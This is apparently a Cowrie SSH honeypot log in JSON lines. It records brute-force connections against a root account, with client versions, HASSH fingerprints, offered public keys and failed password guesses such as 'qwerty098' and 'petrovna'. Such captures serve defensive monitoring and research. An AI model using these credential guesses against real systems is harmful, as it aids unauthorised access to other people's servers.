{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:20:53.577588Z","src_ip":"193.37.70.224","session":"ac27c2e9ec8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty098","message":"login attempt [root/qwerty098] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:20:53.849187Z","src_ip":"193.37.70.224","session":"ac27c2e9ec8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:20:54.943211Z","src_ip":"193.37.70.224","session":"ac27c2e9ec8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.244","src_port":42294,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d3afdc66ec8","protocol":"ssh","message":"New connection: 179.61.232.244:42294 (10.17.0.5:22) [session: 3d3afdc66ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.683704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.692900Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.724695Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:5f:d2:d9:4d:fc:00:ad:fa:d4:a9:7b:26:7e:37:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJaxPfMPdq1P9wni/rOr25ikbqM/ermpzbO9PlEaUxus9EO9i2qJ3lWReXZw7lYCNEldnAUGfoPT/bYzIDaGufxCzaH1sryElzitg+BnBuvfGW64oyOMDmEoH88nJdU3dHHr7axBqlFY125TT9nWm3XqHmm5Sm7fiNSGNRVXDEvcCCu5CN2p6phzbog/XPpuGPhwy1XDIqF9r6SLR4zQJI7cJBam4vfP/S3U937HeplTaKQvZTmFq+zvEoF1/2pKMv0q16a6VBF2HSxn+5l9ravdaB7SjWtKAZy4pMJgBtKzDa6Fonko0KzzPGiaesq7hEKebw1EYSMDIItDUREfqV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:5f:d2:d9:4d:fc:00:ad:fa:d4:a9:7b:26:7e:37:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.862704Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:5f:d2:d9:4d:fc:00:ad:fa:d4:a9:7b:26:7e:37:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJaxPfMPdq1P9wni/rOr25ikbqM/ermpzbO9PlEaUxus9EO9i2qJ3lWReXZw7lYCNEldnAUGfoPT/bYzIDaGufxCzaH1sryElzitg+BnBuvfGW64oyOMDmEoH88nJdU3dHHr7axBqlFY125TT9nWm3XqHmm5Sm7fiNSGNRVXDEvcCCu5CN2p6phzbog/XPpuGPhwy1XDIqF9r6SLR4zQJI7cJBam4vfP/S3U937HeplTaKQvZTmFq+zvEoF1/2pKMv0q16a6VBF2HSxn+5l9ravdaB7SjWtKAZy4pMJgBtKzDa6Fonko0KzzPGiaesq7hEKebw1EYSMDIItDUREfqV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.867205Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:ff:58:fc:e7:01:7f:15:c0:45:50:2f:d8:b4:41:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD01buzQ2+enhMvjal8JExtnIR+DSMcjet5+jwZZKkHnLCmHqe/t5Q6r7quQTaGtNJVZzsr7L5JMq1zQrDh9CZfYfXCt2zZqPAg6ge0PhRGiRHksWdU7cfxEIaa3Rh3aJggVfnaWv0CSaTCqYxrE6NW79OfZ2dsDggen1bzhAeNQHl5V75aAyPKhcGVhLzDvNjhA0HLAn5ZeW1OWleZsL5mn2NNXIqUVbVgVGn0ZpMeMIdpC42jxvBrcq8TWDve+lsdZn0gSbQubr57RA4UKvc29a6aYUjxRmZdA+5xhzsDDoj4wJGue4pvTtSlV5IacSPbdWkaNIUa9103HPJASLIh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:ff:58:fc:e7:01:7f:15:c0:45:50:2f:d8:b4:41:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.902204Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:ff:58:fc:e7:01:7f:15:c0:45:50:2f:d8:b4:41:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD01buzQ2+enhMvjal8JExtnIR+DSMcjet5+jwZZKkHnLCmHqe/t5Q6r7quQTaGtNJVZzsr7L5JMq1zQrDh9CZfYfXCt2zZqPAg6ge0PhRGiRHksWdU7cfxEIaa3Rh3aJggVfnaWv0CSaTCqYxrE6NW79OfZ2dsDggen1bzhAeNQHl5V75aAyPKhcGVhLzDvNjhA0HLAn5ZeW1OWleZsL5mn2NNXIqUVbVgVGn0ZpMeMIdpC42jxvBrcq8TWDve+lsdZn0gSbQubr57RA4UKvc29a6aYUjxRmZdA+5xhzsDDoj4wJGue4pvTtSlV5IacSPbdWkaNIUa9103HPJASLIh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.906831Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:fd:84:eb:01:4e:3e:3b:c2:04:03:9e:95:ff:dd:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfDOInWiHyk0uLSpTKuBdh1B1pZyJX7bVTlZNUcb+Wtayo4Vvhgu7E8o5kgtUstjqlK6jaIygQD6N9AzlfK2R4k/kqFXAQPvQDwVW0vEnq2BUFjylIQ9DUvCAmD1WZ76JdbbvWI1ydaL5/XJqfZidczxoHs23HPUH2dYp5XZeC6lpECZlwLcfmu0J/KBzNp6ng5i/dFM4akmVNwAhvefTkyPvRtZtwXMVj1MeSSGUarnYwB9xyI9kWdrK1v01UoDPIyDgZWEkpblkMrmpd8wwlNhGoZMq2U6qkdY4ZA1HfoTYhEv9KW4biixEpuX/AI5KKgbGTVNCNdTN733aP6ka3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:fd:84:eb:01:4e:3e:3b:c2:04:03:9e:95:ff:dd:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.941606Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:fd:84:eb:01:4e:3e:3b:c2:04:03:9e:95:ff:dd:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfDOInWiHyk0uLSpTKuBdh1B1pZyJX7bVTlZNUcb+Wtayo4Vvhgu7E8o5kgtUstjqlK6jaIygQD6N9AzlfK2R4k/kqFXAQPvQDwVW0vEnq2BUFjylIQ9DUvCAmD1WZ76JdbbvWI1ydaL5/XJqfZidczxoHs23HPUH2dYp5XZeC6lpECZlwLcfmu0J/KBzNp6ng5i/dFM4akmVNwAhvefTkyPvRtZtwXMVj1MeSSGUarnYwB9xyI9kWdrK1v01UoDPIyDgZWEkpblkMrmpd8wwlNhGoZMq2U6qkdY4ZA1HfoTYhEv9KW4biixEpuX/AI5KKgbGTVNCNdTN733aP6ka3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.946951Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:49:1d:01:98:01:d4:f5:29:7f:0f:82:2c:67:b0:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm9MK/vuefD1fP+mXFQ5bPvw3ywxsjsedlTVKeUXZylRhMtyez0LGi6+1fOjoWbeXhn1nqw9nijlKsnAEgznPHqYNLgq+L+sW44kI08y756ClUWlL5HDbqr/mVtB/jO2V0qkKwu+p7Tv9Z2yRVLrR7Ym+obHDveeHiGvWsuqb29lQhaNEvTYBYRJG1P1+FGaxz0HwYdneIjawsTPNDkO+UVncwF7e+wy7zkeBf+H52//9HDam15EkIZMp28jp9QQokD5RTgUQBRXkVZg17NGJfTyVk0hbQDNapqOQDHtXvQaCOtVGoN88yyVTT/wbA3XYACTIph1juJz79XZmqDdFH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:49:1d:01:98:01:d4:f5:29:7f:0f:82:2c:67:b0:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.984290Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:49:1d:01:98:01:d4:f5:29:7f:0f:82:2c:67:b0:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDm9MK/vuefD1fP+mXFQ5bPvw3ywxsjsedlTVKeUXZylRhMtyez0LGi6+1fOjoWbeXhn1nqw9nijlKsnAEgznPHqYNLgq+L+sW44kI08y756ClUWlL5HDbqr/mVtB/jO2V0qkKwu+p7Tv9Z2yRVLrR7Ym+obHDveeHiGvWsuqb29lQhaNEvTYBYRJG1P1+FGaxz0HwYdneIjawsTPNDkO+UVncwF7e+wy7zkeBf+H52//9HDam15EkIZMp28jp9QQokD5RTgUQBRXkVZg17NGJfTyVk0hbQDNapqOQDHtXvQaCOtVGoN88yyVTT/wbA3XYACTIph1juJz79XZmqDdFH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:17.988701Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:f7:a5:63:7c:62:8a:25:47:1c:fa:3b:98:6f:a8:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoT9pN1cLSkcvra3iY3KxDgxBrvua3aHf5XZETd26fHRl1PLC176j1NZjyQWrzAZkmFqtjBu41VSjEgUidrEyymLmRNoUgGLylgY7v3zY1a/Du+rFmi6Myx9ftqU/QNKDXiZK+u2wbIPGqc/59VJaeKt0HWrEMrvKzVn4xL8+sMrfddNfdRlDjmQVlHGpzf2ysidrlkGsZavaMMtCHudyiI9Thl5Vl8MUJ3xXD8arbdaUQv7ZF0rqZGUjgzeCNdRbDbTkwimKcKSaLkLJwXS9Sbz23wmgiIS86rSlREjWHNbFaVVvLu+QA7c08Bn7eFe9Ysw7sJBK51rv7jvf0m5kX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:f7:a5:63:7c:62:8a:25:47:1c:fa:3b:98:6f:a8:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:18.022425Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:f7:a5:63:7c:62:8a:25:47:1c:fa:3b:98:6f:a8:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoT9pN1cLSkcvra3iY3KxDgxBrvua3aHf5XZETd26fHRl1PLC176j1NZjyQWrzAZkmFqtjBu41VSjEgUidrEyymLmRNoUgGLylgY7v3zY1a/Du+rFmi6Myx9ftqU/QNKDXiZK+u2wbIPGqc/59VJaeKt0HWrEMrvKzVn4xL8+sMrfddNfdRlDjmQVlHGpzf2ysidrlkGsZavaMMtCHudyiI9Thl5Vl8MUJ3xXD8arbdaUQv7ZF0rqZGUjgzeCNdRbDbTkwimKcKSaLkLJwXS9Sbz23wmgiIS86rSlREjWHNbFaVVvLu+QA7c08Bn7eFe9Ysw7sJBK51rv7jvf0m5kX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:18.027105Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:18.064510Z","src_ip":"179.61.232.244","session":"3d3afdc66ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":60648,"dst_ip":"10.17.0.5","dst_port":22,"session":"15385e315255","protocol":"ssh","message":"New connection: 62.133.63.178:60648 (10.17.0.5:22) [session: 15385e315255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:43.440512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:43.445470Z","src_ip":"62.133.63.178","session":"15385e315255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:43.569529Z","src_ip":"62.133.63.178","session":"15385e315255","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789dima","message":"login attempt [root/123456789dima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:43.945805Z","src_ip":"62.133.63.178","session":"15385e315255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:21:45.076759Z","src_ip":"62.133.63.178","session":"15385e315255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18922,"dst_ip":"159.203.135.109","dst_port":22,"session":"f45948e3b131","protocol":"ssh","message":"New connection: 194.59.206.2:18922 (159.203.135.109:22) [session: f45948e3b131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:16.963777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:16.969226Z","src_ip":"194.59.206.2","session":"f45948e3b131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:17.060030Z","src_ip":"194.59.206.2","session":"f45948e3b131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:17.159650Z","src_ip":"194.59.206.2","session":"f45948e3b131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":54234,"dst_ip":"159.203.135.109","dst_port":22,"session":"e365bff8452b","protocol":"ssh","message":"New connection: 37.233.85.71:54234 (159.203.135.109:22) [session: e365bff8452b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:19.268939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:19.275437Z","src_ip":"37.233.85.71","session":"e365bff8452b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:19.409276Z","src_ip":"37.233.85.71","session":"e365bff8452b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petrovna","message":"login attempt [root/petrovna] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:19.724236Z","src_ip":"37.233.85.71","session":"e365bff8452b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:20.832086Z","src_ip":"37.233.85.71","session":"e365bff8452b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":48448,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a2908b205b7","protocol":"ssh","message":"New connection: 103.149.170.125:48448 (10.17.0.5:22) [session: 3a2908b205b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:51.791900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:51.797055Z","src_ip":"103.149.170.125","session":"3a2908b205b7","protocol":"ssh"}
